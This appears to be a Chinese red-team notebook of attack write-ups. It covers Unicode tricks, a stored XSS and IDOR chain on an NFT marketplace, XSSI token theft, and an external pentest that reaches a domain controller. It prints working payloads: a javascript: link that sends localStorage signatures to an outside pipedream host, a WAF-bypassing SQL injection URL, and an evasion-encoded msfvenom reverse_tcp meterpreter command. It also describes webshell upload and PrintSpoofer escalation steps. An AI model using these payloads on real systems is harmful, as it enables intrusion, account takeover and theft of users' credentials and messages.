随手记

一、利用unicode特性在红队中的应用

  1. 如何查找这些unicode字符呢
    1. https://www.compart.com/en/unicode
  2. 其他思路
    1. 目录遍历
    2. sql注入
    3. ssrf
    4. 重定向
    5. xss
    6. 模板注入
    7. 系统命令注入
    8. 任意文件上传

二、记一次NFT平台的存储型XSS和IDOR漏洞挖掘过程

  1. xss

    1. 使用钱包登录我的vulnerablemarketplace.com nft 帐户
    2. 然后导航到我的个人资料设置并将我的 Instagram 和 Twitter 链接保存为 javascript:alert(document.domain)
    3. 每当我们点击我们的个人资料 Twitter 或 Instagram 图标时,XSS 就会被执行
  2. idor 修改任何用户的个人资料详细信息

    1. 我将攻击者的account_address修改为受害者的账户地址并发送请求
    2. 如果我们能够修改受害者的电子邮件,那么帐户就已经被接管了🧐?不,因为这是一个 NFT 应用程序,所以没有电子邮件身份验证,我们必须使用钱包扩展进行连接(我们需要窃取受害者签名,以便我们可以使用它来窃取 NFT 或艺术品)
  3. 打造漏洞利用链

    应用程序没有 cookie,但将签名值存储在浏览器 localStorage 中,因此我们将制作有效负载来窃取该签名值

    1. 在 Burp 等代理工具中捕获更改个人资料信息的 POST 请求
    2. 修改此负载的 Instagram 和 Twitter 链接。
    3. 我们对签名值特别感兴趣,因为这是发出每个请求所必需的。签名值存储在 localStorage 中,因此这里是 javascript 有效负载,我们将使用它来窃取该值并将其发送到我们的 pipelinedream url javascript:token=JSON.stringify(localStorage),url='<https://mypipedream.m.pipedream.net/'+token,fetch(url)>
    4. 修改account_address为受害者钱包地址
    5. 请求并完成:) 一旦受害者点击他的 Instagram 或 Twitter 链接或用户访问受害者用户的个人资料,XSS 将被执行,用户的签名值将被泄露到我的服务器

三、利用 XSSI 窃取 AccessToken

  1. jsonp 获得用户的AccessToken和UID值

  2. Authorization: bearer xxxxxxxxxxxxxxxxxxxxx 添加 header 进行越权

    从用户帐户读取/删除/发送消息的概念验证
    /api/communication-service/conversation?showHidden=true
    
    阅读用户所有私信
    /api/communication-service/conversation/CONVERSATION-ID/message
    重放以下请求以从用户帐户中获取与特定参与者的对话(将ACCOUNT-ID 替换为为 accountid )
    /api/communication-service/conversation?participantIds=ACCOUNT-ID&showHidden=true
    
    删除用户所有私信
    /api/communication-service/conversation/CONVERSATION-ID/message/637712054644701721
    
    向任何人发送消息
    /api/communication-service/conversation
    

四、渗透测试之常规外网打点拿下域控

  1. netdiscover存活探测
    1. 目录扫描编写一个绕防火墙脚本
    2. 访问特殊状态码地址
  2. 对目标进行渗透测试
    1. 查找siteserver对应漏洞,sql 注入,有 waf

    2. 加“~”过防护,语句,最终的绕狗语句,查询用户。

      <http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27>)%20and%20~1=(select%20top%201%20username%20from%20[bairong_Administrator]);%20--
      
    3. 寻找加解密算法程序

      1. 使用dnSpy 反编译得到加密文件,找到解密代码
      2. 编写 c# siteserver 密文解密工具
    4. 找回密码漏洞

      1. 这是老版本的系统存在一个通杀漏洞。输出账户,点击忘记密码数据包。输出任意答案,将填入信息改为空放包即可。
    5. 过狗上线菜刀

      1. 这里后台拿shell也是比较容易。在这里上传压缩之后的一句马。
      2. 所以上传过狗的一句话。上传成功。
    6. 提权web服务器

      1. Systeminfo看到只打了2个补丁
      2. 使用"PrintSpoofer"提权
    7. MSF免杀上线

      修改编译次数,重新生成免杀。终于获得到hash
      msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=2333 -e x86/shikata_ga_nai -i 14 -f csharp -o payload.txt
      
      为什么是破解而不是直接导出明文账户密码呢?
      因为在win ser2012之后都默认不能导出。
      一般是通过修改注册列表,重启之后等管理员登录才可以抓到。
      这里我们出了用在线网站破解。也可以使用hashcat来破解